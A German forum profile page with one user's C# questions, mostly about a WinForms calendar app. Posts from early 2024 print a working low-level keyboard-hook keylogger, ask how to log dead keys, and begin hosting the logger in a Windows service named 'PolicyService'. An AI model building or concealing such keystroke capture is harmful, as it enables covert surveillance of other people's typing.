Laden...

Forenbeiträge von Andi153 Ingesamt 18 Beiträge

18.02.2025 - 11:00 Uhr

Ich arbeite mich in C# ein. Ich habe aber nie richtig Informatik o. ä. studiert, und mich würde einmal interessieren, ob das, was ich so programmiere, Murks ist. Ist es in diesem Forum daher erlaubt, einen github-Link zu posten, sodass Leute, die sich mit C# auskennen, quasi eine Art Code Review machen, um zu beurteilen, wie schlecht meine Software ist?

15.11.2024 - 13:23 Uhr

Danke für die Info ))

14.11.2024 - 15:49 Uhr

Nehmen wir an, X hat einen Handyvertrag, und dieser wird gekündigt - infolgedessen wird die SIM-Karte deaktiviert. Wenn WhatsApp auch auf dem Laptop oder PC (als verknüpftes Gerät) läuft - kann auf diesen Geräten WhatsApp dann weiterhin benutzt werden oder ist es dann wegen der Deaktivierung der Telefonnummer auch auf den verknüpften Geräten nicht mehr benutzbar?

08.10.2024 - 08:50 Uhr

Ich habe meinen Code nun überarbeitet:

Es gibt eine InitializeGird-Methode:


 protected override async void OnLoad(EventArgs e)
        {
            base.OnLoad(e);

            InitializeGrid();

        }

Diese baut die DataGridView (== UI):

        private void InitializeGrid() {

            dataGridViewAppointmentsOnClickedDay = new DataGridView();

            dataGridViewAppointmentsOnClickedDay.CellFormatting += DataGridViewAppointmentsOnClickedDay_CellFormatting;

            dataGridViewAppointmentsOnClickedDay.Location = new System.Drawing.Point(250, 10);
            dataGridViewAppointmentsOnClickedDay.Size = new System.Drawing.Size(600, 250);

            dataGridViewAppointmentsOnClickedDay.ScrollBars = ScrollBars.Vertical;
            dataGridViewAppointmentsOnClickedDay.AllowUserToAddRows = false;
            dataGridViewAppointmentsOnClickedDay.ReadOnly = true;
            dataGridViewAppointmentsOnClickedDay.AutoSizeColumnsMode = DataGridViewAutoSizeColumnsMode.Fill;

            dataGridViewAppointmentsOnClickedDay.CellClick += DataGridView_CellClick;

            DataGridViewTextBoxColumn column = new DataGridViewTextBoxColumn();
            column.DataPropertyName = "id";
            column.Name = "id";
            dataGridViewAppointmentsOnClickedDay.Columns.Add(column);
            dataGridViewAppointmentsOnClickedDay.Columns["id"].Visible = false;

Nun nur Datenlogik. Diese ist in eine Methode UpdateAppointments verlegt sowie in die folgenden Methoden. Das Problem ist: Ich muss erst ein Datum im Kalender selektieren (welches nicht das heutige Datum ist), dann erst wird die DataGridView gebaut. Und erst wenn ich dann ein zweites, abweicendes, Datum selektiere, werden die Feiertage (qua Nager.Holiday) in den Kalender geladen. Ich habe in der OnLoad-Methode herumexperimentiert, nichtsdestotrotz weiß ich nicht, was ich mir jetzt ankucken soll, damit es sofort flutscht, also sowohl die GridView als auch der Kalender (mit den Feiertagen) gleich erscheint, sobakd die View geladen ist. Ich bin für diesbezügliche Tipps sehr dankbar.

private void UpdateAppointments(int day, int month, int year)

{
  appointments = dateDao.GetDatesFor(day, month, year);
  GetMonthsAppointments(monthCalendar.SelectionStart.Month, 
  monthCalendar.SelectionStart.Year);
  dataGridViewAppointmentsOnClickedDay.DataSource = appointments;

}
...

private void CreateCalendar()
{
//Kalender

monthCalendar = new MonthCalendar
{

CalendarDimensions = new Size(1, 1),
Location = new Point(10, 40)

};

monthCalendar.DateChanged += MonthCalendar_DateChanged;

d = monthCalendar.SelectionStart.Day; m = monthCalendar.SelectionStart.Month; y = monthCalendar.SelectionStart.Year;

Controls.Add(monthCalendar);

}
…

public void DrawAppointmentsOnClickedDay(int day, int month, int year, DateDao dateDao)
{

 UpdateAppointments(day, month, year);

 LoadHolidays();
 
 CreateCalendar(year, month, day);

}
private void DataGridView_CellClick(object sender, DataGridViewCellEventArgs e)

{

if (e.RowIndex >= 0)

{

if (e.ColumnIndex == dataGridViewAppointmentsOnClickedDay.Columns["xColumn"].Index)
{

 // Zugriff auf die aktuelle Reihe

 DataGridViewRow row = ((DataGridView)sender).Rows[e.RowIndex];
 string idToDelete = row.Cells["id"].Value.ToString();
 string whichRepetition = row.Cells["repeat"].Value.ToString();

if ("y".Equals(whichRepetition) || "m".Equals(whichRepetition))
 {
  // Abfrage: Serie oder einzelnes Ereignis löschen

  string askDelete = resourceManager.GetString("Do you want to delete the entire series (yes) or just this individual event (no)?");
  string confirm = resourceManager.GetString("Confirm deletion");

  DialogResult result = MessageBox.Show(
  askDelete,
  confirm,
  MessageBoxButtons.YesNoCancel,
  MessageBoxIcon.Question,
  MessageBoxDefaultButton.Button3);

// Entscheidung anhand der Auswahl des Benutzers

if (result == DialogResult.Yes)
{
 // Ganze Serie löschen
 dateDao.DeleteEntryById(idToDelete);
}

else if (result == DialogResult.No)

{

string exception_start = row.Cells["start"].Value.ToString();

DateTime selectedDate = monthCalendar.SelectionStart;

string[] dateParts = exception_start.Split('.');

int day = Convert.ToInt32(dateParts[0]);

int month = Convert.ToInt32(dateParts[1]);

int year = Convert.ToInt32(dateParts[2].Substring(0, 4));




DateTime newDateTime = new DateTime(selectedDate.Year, selectedDate.Month, day);

string formattedDate = newDateTime.ToString("dd.MM.yyyy");

exception_start = formattedDate;

string exception_end = row.Cells["end"].Value.ToString();

selectedDate = monthCalendar.SelectionStart;

dateParts = exception_end.Split('.'); //<- Da werde ich mich noch drum kümmern.

day = Convert.ToInt32(dateParts[0]);
month = Convert.ToInt32(dateParts[1]);
year = Convert.ToInt32(dateParts[2].Substring(0, 4));

newDateTime = new DateTime(selectedDate.Year, selectedDate.Month, day);
formattedDate = newDateTime.ToString("dd.MM.yyyy");
exception_end = formattedDate;
dateDao.WriteExceptionIntoExceptionTBL(idToDelete, exception_start, exception_end);
}




// Nur bei Ja oder Nein neu zeichnen, nicht bei Cancel
if (result != DialogResult.Cancel)
{
dateDao.DeleteEntryById(idToDelete);

UpdateAppointments(monthCalendar.SelectionStart.Day,

monthCalendar.SelectionStart.Month,

monthCalendar.SelectionStart.Year);

dataGridViewAppointmentsOnClickedDay.Refresh();




int d = monthCalendar.SelectionStart.Day;

int m = monthCalendar.SelectionStart.Month;

int y = monthCalendar.SelectionStart.Year;




DrawAppointmentsOnClickedDay(d, m, y, dateDao);

//Wenn das oben nicht geht, dann mache ich es eben so...:

//Application.Restart();

//Environment.Exit(0);

}

}

else

{

dateDao.DeleteEntryById(idToDelete);

int d = monthCalendar.SelectionStart.Day;

int m = monthCalendar.SelectionStart.Month;

int y = monthCalendar.SelectionStart.Year;

//DrawAppointmentsForFreshMonth(d, m, y);

DrawAppointmentsOnClickedDay(d, m, y, dateDao);

}

}

else {
// Zugriff auf die aktuelle Reihe

DataGridViewRow row = ((DataGridView)sender).Rows[e.RowIndex];

string id = row.Cells["id"].Value.ToString();
DetailsForm detailsForm = new DetailsForm(id, this);
detailsForm.ShowDialog();
  }
 }
}
…

private async void LoadHolidays()

{
 string currentCulture = Thread.CurrentThread.CurrentCulture.Name;
 string[] cultureParts = currentCulture.Split('-');
 string region = cultureParts.Length > 1 ? cultureParts[1] : "DE";

  var holidayClient = new HolidayClient();
  try
  {

    PublicHoliday[] phs = await holidayClient.GetHolidaysAsync(monthCalendar.SelectionStart.Year, region);
    holidays = phs.ToList();
}

catch (Exception ex)

  {

   MessageBox.Show("Fehler beim Abrufen der Feiertage: " + ex.Message);

  }

}


07.10.2024 - 12:20 Uhr

Vielen Dank für die Tipps. Ich werde mir das nun alles einmal ansehen. Anbei liefere ich noch meine Methode DrawAppointmentsForFreshMonth:

   private void DrawAppointmentsForFreshMonth(int day, int month, int year)
 {
    
     DrawAppointmentsOnClickedDay(day, month, year, dateDao);

 }

 public void DrawAppointmentsOnClickedDay(int day, int month, int year, DateDao dateDao)
 {

     Controls.Remove(dataGridViewAppointmentsOnClickedDay);

     dataGridViewAppointmentsOnClickedDay = new DataGridView();

     dataGridViewAppointmentsOnClickedDay.CellFormatting += DataGridViewAppointmentsOnClickedDay_CellFormatting;

     dataGridViewAppointmentsOnClickedDay.Location = new System.Drawing.Point(250, 10);
     dataGridViewAppointmentsOnClickedDay.Size = new System.Drawing.Size(600, 250);

     dataGridViewAppointmentsOnClickedDay.ScrollBars = ScrollBars.Vertical;
     dataGridViewAppointmentsOnClickedDay.AllowUserToAddRows = false;
     dataGridViewAppointmentsOnClickedDay.ReadOnly = true;
     dataGridViewAppointmentsOnClickedDay.AutoSizeColumnsMode = DataGridViewAutoSizeColumnsMode.Fill;

     dataGridViewAppointmentsOnClickedDay.CellClick += DataGridView_CellClick;

     appointments = dateDao.GetDatesFor(day, month, year);


     int selectedMonth = monthCalendar.SelectionStart.Month;
     int selectedYear = monthCalendar.SelectionStart.Year;
     GetMonthsAppointments(selectedMonth, selectedYear);

     dataGridViewAppointmentsOnClickedDay.DataSource = appointments;

     DataGridViewTextBoxColumn column = new DataGridViewTextBoxColumn();
     column.DataPropertyName = "id";
     column.Name = "id";
     dataGridViewAppointmentsOnClickedDay.Columns.Add(column);
     dataGridViewAppointmentsOnClickedDay.Columns["id"].Visible = false;

     column = new DataGridViewTextBoxColumn();
     column.Name = "xColumn";
     column.HeaderText = "";
     dataGridViewAppointmentsOnClickedDay.Columns.Add(column);

     column = new DataGridViewTextBoxColumn();
     column.HeaderText = resourceManager.GetString("Appointment");
     column.DataPropertyName = "text";
     column.Name = "text";
     dataGridViewAppointmentsOnClickedDay.Columns.Add(column);

     column = new DataGridViewTextBoxColumn();
     column.DataPropertyName = "start";
     column.Name = "start";
     dataGridViewAppointmentsOnClickedDay.Columns.Add(column);

     column = new DataGridViewTextBoxColumn();
     column.DataPropertyName = "end";
     column.Name = "end";
     dataGridViewAppointmentsOnClickedDay.Columns.Add(column);

     column = new DataGridViewTextBoxColumn();
     column.HeaderText = resourceManager.GetString("repetition");
     column.DataPropertyName = "repeat";
     column.Name = "repeat";
     dataGridViewAppointmentsOnClickedDay.Columns.Add(column);

     dataGridViewAppointmentsOnClickedDay.RowsAdded += new DataGridViewRowsAddedEventHandler(DataGridView_RowsAdded);

     Controls.Add(dataGridViewAppointmentsOnClickedDay);


     LoadHolidays();

     CreateCalendar(year, month, day);

 }
07.10.2024 - 07:30 Uhr

Ich programmiere eine Kalenderapplikation als Forms App, und dabei werden in einer dataGridAppointmentsOnClickedDay die Termine dargestellt. Es ist möglich, diese zu löschen, und zwar durch den Eventlistener DataGridView_CellClick. Ich frage auch ab, ob man einen Serientermin ("y" für yearly / jährlich) bzw. einen einzelnen Termin innerhalb dieses Serientermins löschen soll. Wenn ich nach dem Löschen die DrawAppointmentsForFreshMonth( - Methode aufrufe, wird die DataGridView dataGridViewAppointmentsOnClickedDay nicht neugezeichnet, erst dann, wenn ich die Application neu starte. Woran könnte das liegen? Aus dem Debuggen bin ich nicht schlau geworden. Was muss ich tun, dass auch wenn die Schleife else if (result == DialogResult.No) durchlaufen wird, die Methode  DrawAppointmentsForFreshMonth( derart aufgerufen wird, dass die DataGridView neu gezeichnet wird?


        private void DataGridView_CellClick(object sender, DataGridViewCellEventArgs e)
        {

            if (e.RowIndex >= 0)
            {
                if (e.ColumnIndex == dataGridViewAppointmentsOnClickedDay.Columns["xColumn"].Index)
                {

                    // Zugriff auf die aktuelle Reihe
                    DataGridViewRow row = ((DataGridView)sender).Rows[e.RowIndex];


                    string idToDelete = row.Cells["id"].Value.ToString();

                    string whichRepetition = row.Cells["repeat"].Value.ToString();

                    if ("y".Equals(whichRepetition) || "m".Equals(whichRepetition))
                    {

                        // Abfrage: Serie oder einzelnes Ereignis löschen
                        string askDelete = resourceManager.GetString("Do you want to delete the entire series (yes) or just this individual event (no)?");
                        string confirm = resourceManager.GetString("Confirm deletion");

                        DialogResult result = MessageBox.Show(
                            askDelete,
                            confirm,
                            MessageBoxButtons.YesNoCancel,
                            MessageBoxIcon.Question,
                            MessageBoxDefaultButton.Button3);

                        // Entscheidung anhand der Auswahl des Benutzers
                        if (result == DialogResult.Yes)
                        {
                            // Ganze Serie löschen
                            dateDao.DeleteEntryById(idToDelete);
                        }
                        else if (result == DialogResult.No)
                        {
                            string exception_start = row.Cells["start"].Value.ToString();
                            DateTime selectedDate = monthCalendar.SelectionStart;

                            string[] dateParts = exception_start.Split('.');
                            int day = Convert.ToInt32(dateParts[0]);
                            int month = Convert.ToInt32(dateParts[1]);
                            int year = Convert.ToInt32(dateParts[2].Substring(0, 4));

                            DateTime newDateTime = new DateTime(selectedDate.Year, selectedDate.Month, day);
                            string formattedDate = newDateTime.ToString("dd.MM.yyyy");

                            exception_start = formattedDate;

                            string exception_end = row.Cells["end"].Value.ToString();
                            selectedDate = monthCalendar.SelectionStart;

                            dateParts = exception_end.Split('.');
                            day = Convert.ToInt32(dateParts[0]);
                            month = Convert.ToInt32(dateParts[1]);
                            year = Convert.ToInt32(dateParts[2].Substring(0, 4));

                            newDateTime = new DateTime(selectedDate.Year, selectedDate.Month, day);
                            formattedDate = newDateTime.ToString("dd.MM.yyyy");

                            exception_end = formattedDate;

                            dateDao.WriteExceptionIntoExceptionTBL(idToDelete, exception_start, exception_end);

                        }

                        // Nur bei Ja oder Nein neu zeichnen, nicht bei Cancel
                        if (result != DialogResult.Cancel)
                        {
                            int d = monthCalendar.SelectionStart.Day;
                            int m = monthCalendar.SelectionStart.Month;
                            int y = monthCalendar.SelectionStart.Year;

                            //DrawAppointmentsForFreshMonth(d, m, y);
                            //Wenn ich oben die DrawAppointmentsForFreshMonth( - Methode aufrufe,
            //Wird die DataGridView dataGridViewAppointmentsOnClickedDay nicht neugezeichnet, erst dann, wenn 
            //ich die Application neu starte. Woran könnte das liegen? Aus dem Debuggen bin 
            //ich nicht schlau geworden.

                            Application.Restart(); 
                            Environment.Exit(0);
                        }
                    }
                    else
                    {
                        dateDao.DeleteEntryById(idToDelete);
                        int d = monthCalendar.SelectionStart.Day;
                        int m = monthCalendar.SelectionStart.Month;
                        int y = monthCalendar.SelectionStart.Year;
                        DrawAppointmentsForFreshMonth(d, m, y);
                    }
                }
                else
                {

                    // Zugriff auf die aktuelle Reihe
                    DataGridViewRow row = ((DataGridView)sender).Rows[e.RowIndex];
                    string id = row.Cells["id"].Value.ToString();

                    DetailsForm detailsForm = new DetailsForm(id, this);
                    detailsForm.ShowDialog();

                }
            }
        }

        private void DataGridViewAppointmentsOnClickedDay_CellFormatting(object sender, DataGridViewCellFormattingEventArgs e)
        {
            // Überprüfen, ob es sich um die Spalten "start" oder "end" handelt
            if (dataGridViewAppointmentsOnClickedDay.Columns[e.ColumnIndex].Name == "start" ||
                dataGridViewAppointmentsOnClickedDay.Columns[e.ColumnIndex].Name == "end")
            {
                // Hole das Startdatum aus der Zelle
                DateTime startDate = DateTime.ParseExact(dataGridViewAppointmentsOnClickedDay.Rows[e.RowIndex].Cells["start"].Value.ToString(), "dd.MM.yyyy HH:mm", CultureInfo.InvariantCulture);

                // Hole das Enddatum aus der Zelle
                DateTime endDate = DateTime.ParseExact(dataGridViewAppointmentsOnClickedDay.Rows[e.RowIndex].Cells["end"].Value.ToString(), "dd.MM.yyyy HH:mm", CultureInfo.InvariantCulture);

                // Vergleiche die Daten mit dem aktuellen Datum
                if (startDate.Date <= DateTime.Now.Date && endDate.Date >= DateTime.Now.Date)
                {
                    // Setze die Hintergrundfarbe der gesamten Zeile auf Hellblau
                    dataGridViewAppointmentsOnClickedDay.Rows[e.RowIndex].DefaultCellStyle.BackColor = System.Drawing.Color.LightBlue;
                }
            }
        }

        private void DataGridView_RowsAdded(object sender, DataGridViewRowsAddedEventArgs e)
        {
            for (int i = e.RowIndex; i < e.RowIndex + e.RowCount; i++)
            {
                // Setzen des Wertes "x" für jede neue Zeile in der "xColumn" Spalte
                dataGridViewAppointmentsOnClickedDay.Rows[i].Cells["xColumn"].Value = "x";
            }
        }
}
06.10.2024 - 07:36 Uhr

Vielen Dank für die schnelle Antwort. Ich hatte da etwas übersehen :\

05.10.2024 - 18:31 Uhr

Ich schreibe gerade an einer Kalender-App. Um die Feiertage darzustellen, verwende ich Nager, dh. folgende using-Direktive: using Nager.Date.Models;

Hier in dieser Methode

private async void LoadHolidays()
{
    //var holidayClient = new HolidayClient();
    try
    {
        holidays = new List<Holiday>(); // await holidayClient.GetHolidaysAsync(DateTime.Now.Year, "DE"); //Hier dann das language DAO bemühen.
    }
    catch (Exception ex)
    {
        MessageBox.Show("Fehler beim Abrufen der Feiertage: " + ex.Message);
    }
}

Heißt es aber: Der Typ oder Namespace HolidayClient wurde nicht gefunden. Ich verstehe nicht, woran das liegen könnte, weswegen ich einmal hier fragen möchte, ob jemand einen ähnlichen Fehler bereits einmal hatte. oder woran das liegen könnte.

16.09.2024 - 14:07 Uhr

Ich habe eine TextBox in einer C#-Form, immer, wenn sich der dort eingegebene Text ändert, wird ein Ereignis ausgelöst, und das Ziel ist es, dass ich den jeweils aktuellen Text einer Geolokation übergebe, sodass entsprechend dem eingegebenen Text geographische Orte vorgeschlagen werden können, z. B. Für „Ber“ „Berlin“ usw.:

private void addressTextBox_TextChanged(object? sender, EventArgs e)

{

string entry = addressTextBox.Text;

geoFile.Entry(entry);

}


public async Task<string> InitAsync(string query)

{


string apiUrl = "foo"; 

string apiKey = "bar";


JArray suggestions = new JArray();

try

{

string url = $"{apiUrl}?query={query}&apikey={apiKey}";


HttpResponseMessage response = await client.GetAsync(url);

response.EnsureSuccessStatusCode();


string responseBody = await response.Content.ReadAsStringAsync();


// Parsing des JSON-Antwortkörpers

var json = JObject.Parse(responseBody);

suggestions = (JArray)json["suggestions"];


}

catch (HttpRequestException e)

{

Console.WriteLine($"Request error: {e.Message}");

}


return suggestions.ToString();

}


public async void Entry(string entry)

{


static async Task<(bool, string)> TryGetHtml(string url)

{

if (string.IsNullOrEmpty(url))

{

return (false, null);

}

string html = await new HttpClient().GetStringAsync(url);

return (true, html);

}


string res = await InitAsync(entry);


}

Macht man das überhaupt so oder ist dies nicht die Weise, in welcher das umgesetzt wird?

21.07.2024 - 08:24 Uhr

Ich habe eine Form mit einer DataGridView. Dort werden Zeilen farbig markiert (wie im folgenden Code beschrieben). Ich verstehe eines nicht. Wenn ich die erste Zeile klicke, werden alle Zeilen farbig (grün, siehe Anhang) markiert. Ich verstehe nicht, woran das liegen könnte. Hat eventuell hier im forum jemand einen Tipp für mich?

        //Ich habe hier eine Form, welche ein Datum, d. h. einen Termin, darstellt.

        private void CreateDataGridViewContacts()
        {
            if (dataGridViewC != null) {

                Controls.Remove(dataGridViewC);
            }

            

            dataGridViewC = new DataGridView();


            dataGridViewC.Location = new System.Drawing.Point(380, 70);

            //usw.

            //Es gibt dort eine DataGridView, die DataGridView hat drei Spalten, id, name und xColumn, id ist nicht sichtbar.
            DataGridViewTextBoxColumn column = new DataGridViewTextBoxColumn();
            column.DataPropertyName = "id";
            column.Name = "id";
            dataGridViewC.Columns.Add(column);

            dataGridViewC.Columns["id"].Visible = false;

            column = new DataGridViewTextBoxColumn();
            column.DataPropertyName = "name";
            column.Name = "name";
            dataGridViewC.Columns.Add(column);

            
            column = new DataGridViewTextBoxColumn();
            column.Name = "xColumn";
            column.HeaderText = "";
            dataGridViewC.Columns.Add(column);

            dataGridViewC.CellClick += DataGridViewC_CellClick;
            dataGridViewC.RowsAdded += new DataGridViewRowsAddedEventHandler(DataGridViewC_RowsAdded);

            LoadDataIntoDataGridView();

            Controls.Add(dataGridViewC);
        }

         


        private void LoadDataIntoDataGridView()
        {
            ContactDao contactDao = new ContactDao();

            DataSet contactsDataSet = contactDao.GetContacts();
            if (contactsDataSet.Tables.Count > 0)
            {
                dataGridViewC.DataSource = contactsDataSet.Tables[0];
            }
        }


        
        private void DataGridViewC_CellClick(object sender, DataGridViewCellEventArgs e)
        {
            ContactDao contactDao = new ContactDao();
            

            //Wenn die xColumns angeklickt wird, soll folgendes passieren...
            if (e.ColumnIndex == dataGridViewC.Columns["xColumn"].Index)
            {


                var cellValue = dataGridViewC.Rows[e.RowIndex].Cells[e.ColumnIndex].Value;
                if (cellValue != null && cellValue.ToString() == "+")
                {
                    var idValue = dataGridViewC.Rows[e.RowIndex].Cells["id"].Value;
                    if (idValue != null)
                    {
                        // this.id.ToString() ist die ID des Datums (Termins), für das Objekt mit der id idValue.ToString() 
                        contactDao.ToggleCouple(this.id.ToString(), idValue.ToString());
                        //entscheidet diese Methode, ob das Objekt mit dem Datum verknüpft ist oder nicht.
                    }

              
                    CreateDataGridViewContacts();

                
                }
            }
        }


        private void DataGridViewC_RowsAdded(object sender, DataGridViewRowsAddedEventArgs e)
        {

            ContactDao contactDao = new ContactDao();

            for (int i = e.RowIndex; i < e.RowIndex + e.RowCount; i++)
            {


                dataGridViewC.Rows[i].Cells["xColumn"].Value = "+";

                string cellValue = dataGridViewC.Rows[i].Cells["id"].Value.ToString();

                bool isLink = contactDao.GetLinkedContact(this.id.ToString(), cellValue);

                if (dataGridViewC.Rows[i].Cells["id"].Value != null && isLink)
                {
                    //Wenn das Objekt mit dem Termin verknüpft ist, soll dessen Zeile in der DataGridView grün werden.
                    //Das funktioniert auch, es gibt aber ein Problem: Wenn ich die erste Zeile klicke, ist ALLES grün.
                    //An dem Eintrag in der DB scheint es nicht zu liegen! Was kann dieses Verhalten für Ursachen haben?
                    dataGridViewC.Rows[i].DefaultCellStyle.BackColor = Color.Green;

                }
            }

        }
16.05.2024 - 16:13 Uhr

Vielen Dank, das funktioniert - nur musste ich in der TryReadLine-Methode dem string value einen Leerstring zuweisen, d. h. value  = "".

16.05.2024 - 13:57 Uhr

Ich parse für eine Kalenderapp, die ich entwickle, ics-Dateien. Ich tue dies wie folgt:

string[] lines = content.Split(new[] { "\r\n", "\n" }, StringSplitOptions.RemoveEmptyEntries);

string summary = lines[8]; //SUMMARY

string start = lines[18].Split(':')[1]; //START-ZEITPUNKT

string end = lines[20].Split(':')[1]; //END-ZEITPUNKT

Nun meine Frage: Funktioniert das immer? Gibt es da eine elegantere Methode, die "SUMMARY" sowie den Start- und den Endzeitpunkt herauszuziehen?

16.03.2024 - 14:29 Uhr

Vielen Dank.

16.03.2024 - 10:22 Uhr

Ich versuche mich gerade an einer Internationalisierung. Der Anfang des Quellcodes meiner App sieht wie folgt aus:

namespace CalendarApp
{
   public class CalendarForm : Form
   {
       private MonthCalendar calendar;
       private Button updateButton;

       public CalendarForm()
       {

           CultureInfo.CurrentCulture = new CultureInfo("de-DE");
           var rm = new ResourceManager("CalendarApp.i18n", typeof(CalendarForm).Assembly);

Ich habe folgende Verzeichnisstruktur:

CalendarApp
-i18n
-resources.de.resx
-resources.resx

-Program.cs

Es handelt sich bei meinen resource-Dateien um eingebettete Assemblys, die Lösung / Solution habe ich auch neu gebaut. Diesen Fehler "System.Resources.MissingManifestResourceException: 'Für die angegebene Kultur oder die neutrale Kultur konnten keine Ressourcen gefunden werden. Stellen Sie sicher, dass CalendarApp.i18n.resources beim Kompilieren richtig in die Assembly CalendarApp eingebettet wurde, oder dass die erforderlichen Satellitenassemblys geladen werden können und vollständig signiert sind.'" erhalte ich aber, wenn ich den Ressourcenmanager aufrufen will mit "rm.GetString("new");".

Woran könnte dieser Fehler liegen?

Meine resource.de.resx-Datei sieht wie folgt aus: updateButton.Text = rm.GetString("new");

<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<root>
    <resheader name="resmimetype">
        <value>text/microsoft-resx</value>
    </resheader>
    <resheader name="version">
        <value>2.0</value>
    </resheader>
    <resheader name="reader">
        <value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
    </resheader>
    <resheader name="writer">
        <value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
    </resheader>
    <data name="save">
        <value>speichern</value>
    </data>
    <data name="new">
        <value>neu</value>
    </data>
    <data name="March">
        <value>März</value>
    </data>
    <data name="April">
        <value>April</value>
    </data>
    <data name="May">
        <value>Mai</value>
    </data>
</root> 
29.02.2024 - 09:14 Uhr

Ich beschäftige mich gerade mit dem Thema „Keylogger“. Die Unterscheidung zwischen Klein- und Großbuchstaben erfolgt in diesem wie folgt:

// Überprüfen, ob die Umschalttaste gedrückt ist
           bool shiftKey = (GetKeyState(VK_SHIFT) & 0x80) != 0;

// VK-Code in einen char konvertieren, der den gedrückten Buchstaben darstellt
           char keyChar = (char)MapVirtualKey((uint)vkCode, MAPVK_VK_TO_CHAR);

...später überprüfe ich, ob es sich bei der Tastatureingabe um einen Groß- oder einen Kleinbuchstaben handelt, wie folgt:

string key = shiftKey ? keyChar.ToString() : keyChar.ToString().ToLower();

Ich habe da mal eine Frage. Wie wird das Caret-Zeichen (dieses: ^) geloggt? Um dieses zu schreiben, muss ja erst das ^-Zeichen auf der Tastatur gedrückt werden, und danach die Leertaste. Wie also wird das Loggen des Caret-Symbols normaler Weise bewerkstelligt?

03.01.2024 - 10:49 Uhr

Ich habe eine Konsolenanwendung in C# geschrieben. Sie lässt sich bauen und ausführen, aber bei der Ausführung der Methode Run() tritt ein Fehler aus, den ich nicht beheben kann: "System.IO.FileNotFoundException: "Could not load file or assembly 'System.Drawing.Common, Version=0.0.0.0, Culture=neutral, PublicKeyToken=cc7b13ffcd2ddd51'. Das System kann die angegebene Datei nicht finden."" Ich habe versucht, System.Drawing.Common als externe dll herunterzuladen, aber es scheint sie nicht zu geben. Ich werde auch aus dem Fehlerstack beim Debuggen nicht schlau:

"Interceptor.exe" (CoreCLR: clrhost): "C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.0\System.Collections.Specialized.dll" geladen. Das Laden von Symbolen wurde übersprungen. Das Modul ist optimiert, und die Debugoption "Nur eigenen Code" ist aktiviert.

Ausnahme ausgelöst: "System.IO.FileNotFoundException" in System.Windows.Forms.dll

Ein Ausnahmefehler des Typs "System.IO.FileNotFoundException" ist in System.Windows.Forms.dll aufgetreten.

Could not load file or assembly 'System.Drawing.Common, Version=0.0.0.0, Culture=neutral, PublicKeyToken=cc7b13ffcd2ddd51'. Das System kann die angegebene Datei nicht finden.

[...]

Ich habe meine Windows.Forms dll (die neuste Version) von hier: https://xxxxxxxxxxxxxxxxxsystem.windows.forms.dll.html

Hier der Code:

using System;
using System.Diagnostics;
using System.Windows.Forms;
using System.Runtime.InteropServices;

class InterceptKeys
{
  private const int WH_KEYBOARD_LL = 13;
  private const int WM_KEYDOWN = 0x0100;
  private static LowLevelKeyboardProc _proc = HookCallback;
  private static IntPtr _hookID = IntPtr.Zero;

  public static void Main()
  {
    _hookID = SetHook(_proc);

    Application.Run();

    UnhookWindowsHookEx(_hookID);
  }

  private static IntPtr SetHook(LowLevelKeyboardProc proc)
  {
    using (Process curProcess = Process.GetCurrentProcess())
    using (ProcessModule curModule = curProcess.MainModule)
    {
      return SetWindowsHookEx(WH_KEYBOARD_LL, proc,
          GetModuleHandle(curModule.ModuleName), 0);
    }
  }

  private delegate IntPtr LowLevelKeyboardProc(
      int nCode, IntPtr wParam, IntPtr lParam);

  private static IntPtr HookCallback(
      int nCode, IntPtr wParam, IntPtr lParam)
  {
    if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
    {
      int vkCode = Marshal.ReadInt32(lParam);
      Console.WriteLine((Keys)vkCode);
    }
    return CallNextHookEx(_hookID, nCode, wParam, lParam);
  }

  [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
  private static extern IntPtr SetWindowsHookEx(int idHook,
      LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);

  [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
  [return: MarshalAs(UnmanagedType.Bool)]
  private static extern bool UnhookWindowsHookEx(IntPtr hhk);

  [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
  private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode,
      IntPtr wParam, IntPtr lParam);

  [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
  private static extern IntPtr GetModuleHandle(string lpModuleName);
}
02.01.2024 - 16:47 Uhr

Vielen Dank für die Antworten. Ich habe jetzt den passenden Projekttyp gewählt, und jetzt geht es; ich komme aus der Java-Entwicklung mit eclipse, und deswegen ist das noch ungewohnt für mich.

02.01.2024 - 09:34 Uhr

Ich habe begonnen, einen Service zu programmieren; ServiceBase ist rot unterkringelt, denn es kommt die Fehlermeldung "Der Typname ServiceBase konnte nicht im Namespace gefunden werden. Dieser Typ wurde an Assembly System.ServiceProcess.Servicecontroller [...] weitergeleitet. Sie sollten einen Verweis auf die Assembly hinzufügen." Wenn ich aber im Projektmappenexplorer auf Frameworks → Microsoft.NETCore.App gehe, ist die Assembly System.ServiceProcess vorhanden. Wieso findet er das Ding nicht - gibt es da einen Hack, um den Fehler zu beseitigen? Im Voraus besten Dank für alle Tipps ))

 public partial class PolicyService : ServiceBase
  {
    private InterceptKeys LoggerInstance;
    private Thread serviceThread;

    public PolicyService()
    {
      InitializeComponent();

    }